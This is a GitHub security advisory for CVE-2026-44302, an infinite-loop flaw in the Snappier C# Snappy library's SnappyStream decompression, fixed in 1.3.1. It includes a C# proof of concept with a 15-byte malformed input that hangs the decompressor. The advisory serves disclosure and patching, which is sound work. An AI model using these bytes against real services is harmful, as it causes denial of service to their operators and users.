GitHub Advisoryadvisory · NuGet
GHSA-pggp-6c3x-2xmx Snappier has an infinite loop during SnappyStream decompression with malformed framed input
HIGH
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- Aliases
- CVE-2026-44302
- Ecosystem
- NuGet
- Packages
- Snappier
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-835
- Reviewed
- 2026-05-06
Affected packages
• NuGet Snappier: < 1.3.1 → fixed in 1.3.1
Description
Summary
`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.
Details
The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.
PoC
```csharp
using System.IO.Compression;
using Snappier;
byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst); // never returns
```
Impact
A caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can't recover (no exception is thrown).
Related
Alias · CVE (1)
- CVE-2026-44302 Snappier is a high performance C# implementation of the Snappy compression algorithm. vulnerability
Weakness · CWE (1)
- CWE-835 Loop with Unreachable Exit Condition weakness